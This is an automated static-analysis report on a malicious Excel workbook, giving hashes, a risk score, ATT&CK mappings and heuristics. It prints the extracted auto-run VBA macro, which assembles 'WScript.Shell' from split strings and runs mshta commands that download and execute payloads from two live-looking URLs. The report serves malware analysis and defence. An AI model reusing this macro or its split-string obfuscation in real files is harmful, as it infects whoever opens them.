Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2f3b0ab840cdbfff…

MALICIOUS

Office (OOXML)

11.1 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-02
MD5: 5df7134854af227a40af62d5aac09f6a SHA-1: 4df7c848518a263938549c4aa695e5374c175564 SHA-256: 2f3b0ab840cdbfff6a0404f1049f9a6cee0184801f4554c4dec3165724be19bc
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32

The sample contains a Workbook_Open VBA macro that is designed to execute malicious code. The macro uses CreateObject to instantiate WScript.Shell and then executes two mshta commands, each downloading and executing a payload from a distinct URL. The obfuscation of 'mshta' by splitting the string literal is a common technique to evade basic detection.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://updatewin32.xyz/injext.mp3 In document text (OOXML body / shared strings)
    • http://updatewin32.xyz/kilabword.mp3In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1133 bytes
SHA-256: f052fc41860804a20026046f79e66752c25af2bbc893dc32626e704cfb0e9597
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private _
Sub _
Workbook_Open()
Set _
Outlook _
= _
CreateObject _
("Outlook.Application")
Set _
Microsoft _
= _
Outlook. _
CreateObject _
("Ws" + _
"cript" + _
".She" + _
"ll")
Set _
MicrosoftExec _
= _
Microsoft. _
Exec _
("C:\Windows\System32\Calc.e" + _
"xe")
MsgBox _
(MicrosoftExec.StdOut.ReadAll): Set _
MicrosoftExec = _
Microsoft.Exec("ms" + "ht" + "a http://updatewin32.xyz/injext.mp3"): Microsoft.Exec ("ms" + "ht" + "a http://updatewin32.xyz/kilabword.mp3")

'
End _
Sub


Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 9728 bytes
SHA-256: f2a9c593b4a8059c168b49ab5fa856e847d9e2db051fd21e46fe78099082b269